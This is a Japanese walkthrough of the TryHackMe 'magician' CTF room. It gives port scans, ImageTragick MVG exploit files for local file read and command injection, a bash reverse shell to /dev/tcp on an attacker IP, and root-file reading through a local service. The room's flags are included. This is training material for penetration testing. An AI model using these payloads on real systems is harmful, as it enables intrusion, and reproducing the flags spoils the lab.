【TryHackMe】magician：Walkthrough

# 概要

TryHackMe「magician」のWalkthroughです。

https://tryhackme.com/r/room/magician

# Task1

## **Q1**.*user.txt*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- -oN nmap_result 10.10.251.158
PORT     STATE    SERVICE    VERSION
21/tcp   open     ftp        vsftpd 2.0.8 or later
8080/tcp open     http-proxy
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 24 Jul 2024 18:08:51 GMT
|     Connection: close
|     {"timestamp":"2024-07-24T18:08:52.098+0000","status":404,"error":"Not Found","message":"No message available","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
|   HTTPOptions: 
|     HTTP/1.1 404 
|     Vary: Origin
|     Vary: Access-Control-Request-Method
|     Vary: Access-Control-Request-Headers
|     Content-Type: application/json
|     Date: Wed, 24 Jul 2024 18:08:49 GMT
|     Connection: close
|     {"timestamp":"2024-07-24T18:08:47.569+0000","status":404,"error":"Not Found","message":"No message available","path":"/"}
|   RTSPRequest: 
|     HTTP/1.1 505 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 465
|     Date: Wed, 24 Jul 2024 18:08:51 GMT
|     <!doctype html><html lang="en"><head><title>HTTP Status 505 
|     HTTP Version Not Supported</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 505 
|     HTTP Version Not Supported</h1></body></html>
|   Socks5: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Wed, 24 Jul 2024 18:08:52 GMT
|     Connection: close
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
8081/tcp open     http       nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: magician
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 2.0.8 or later|
|8080|http-proxy||
|8081|http|nginx 1.14.0|

`8081`にアクセスするとPNGをJPGに変換するサイトが表示されました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/1d017fd7-a1fc-8cb3-093c-20e46f21d536.jpeg)

FTPに`anonymous`で接続するとメッセージが表示されました。

```
$ ftp magician    
Connected to magician.
220 THE MAGIC DOOR
Name (magician:kali): anonymous
331 Please specify the password.
Password: 
230-Huh? The door just opens after some time? You're quite the patient one, aren't ya, it's a thing called 'delay_successful_login' in /etc/vsftpd.conf ;) Since you're a rookie, this might help you to get started: https://imagetragick.com. You might need to do some little tweaks though...
230 Login successful.
ftp>
```

`vsftp`の`delay_successful_login`が設定されているようです。
また、記載されているアドレスにアクセスすると`CVE-2016–3714`の情報が得られました。

https://imagetragick.com/

サイト内の`CVE-2016-3717 - Local file read`を利用して`exploit.mvg`をアップロードし、変換された`exploit.jpg`を見ると`/etc/passwd`ファイルを読み込めました。

```exploit.mvg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context
```

![ect passwd.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0d4eb91d-4c4b-d175-e4b8-192bef78cc80.jpeg)

リバースシェルを試みます。
下記サイトを参考にMetasploitでペイロードファイルを作成します。

https://www.rapid7.com/db/modules/exploit/unix/fileformat/imagemagick_delegate/

```msf.png
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 '|perl -e system -e pack -e qq,H1050,,qq,6563686f20657865635c285f5f696d706f72745f5f5c285c277a6c69625c275c292e6465636f6d70726573735c285f5f696d706f72745f5f5c285c276261736536345c275c292e6236346465636f64655c285f5f696d706f72745f5f5c285c27636f646563735c275c292e676574656e636f6465725c285c277574662d385c275c295c285c27654e6f395545314c784441515054652f4972636b47454f37706a30735668447849434b4336303145326d52324c5532546b6d53314b76353347374a346d6547396566506d5935686d35794d4f546f30512b62635a657435334152724a512f524846586b634a6b4237352f4743423474395a77394171354a74555248393178714c304f5a6d6b5250643842506550643763762b32656e32367648316a5343655773425255704a565570476c48586f704b533847707a49566c5339423636455257774b4a686a736b367a525441414d36305a4d6d316553527a74334b6d526b717337776f50776f44376f6176425376694c646e72426836504e394d49414e574b725a70566e74394e6c2f39547a54444d4543697161726851626c70746c444344512f5150534e544b5347704f512f4a4a42742b47586f44332b325873495c3d5c275c295c5b305c5d5c295c295c29207c2065786563202428776869636820707974686f6e207c7c20776869636820707974686f6e33207c7c20776869636820707974686f6e3229202d,'
pop graphic-context
pop graphic-context
```

しかし、こちらの環境ではリバースシェルを確立できなかったので実行コマンド部分を変更しました。

```msf.png
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context

# 変更
image Over 0,0 1,1 '|bash -i >& /dev/tcp/10.6.55.144/1234 0>&1'

pop graphic-context
pop graphic-context
```

Webサイトに`msf.png`をアップロードし、コンバートボタンを押すと接続を確立できました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.163.96] 37446
bash: cannot set terminal process group (943): Inappropriate ioctl for device
bash: no job control in this shell
magician@magician:/tmp/hsperfdata_magician$ whoami
whoami
magician
```

TTYを設定します。

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
```

`/home/magician/user.txt`からフラグを入手できます。

```/home/magician/user.txt
THM{simsalabim_hex_hex}
```

**A**.**THM{simsalabim_hex_hex}**

## **Q2**.*root.txt*

`pspy`を実行するとローカルの`6666`へ接続しているプロセスを発見しました。

```
2024/07/24 15:36:55 CMD: UID=0     PID=985    | /usr/bin/python3 /usr/local/bin/gunicorn --bind 127.0.0.1:6666 magiccat:app
```

`6666`ポートのソースコードを取得すると、フォームから`filename`プロパティに入力された内容を送信していると分かりました。

```
$ curl http://127.0.0.1:6666

<form action="" method="post" class="form" role="form">
<div class="form-group "><label class="control-label" for="filename">Enter filename</label>
    <input class="form-control" id="filename" name="filename" type="text" value="">
</div>
    <input class="btn btn-default" id="submit" name="submit" type="submit" value="Submit">
</form>
```

`filename`に`/root/root.txt`を入力して送信してPOSTリクエストを送信すると文字列を得られました。

```
$ curl -X POST http://127.0.0.1:6666 -d "filename=/root/root.txt"

<div>
    <span>
        <pre class="page-header">
        GUZ{zntvp_znl_znxr_znal_zra_znq}
        </pre>
    </span>
</div>
```

文字列を`ROT13`でデコードしてフラグを入手できます。

![flag.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5ed2bf83-acbf-2aef-359f-a4736a70ea71.jpeg)

**A**.****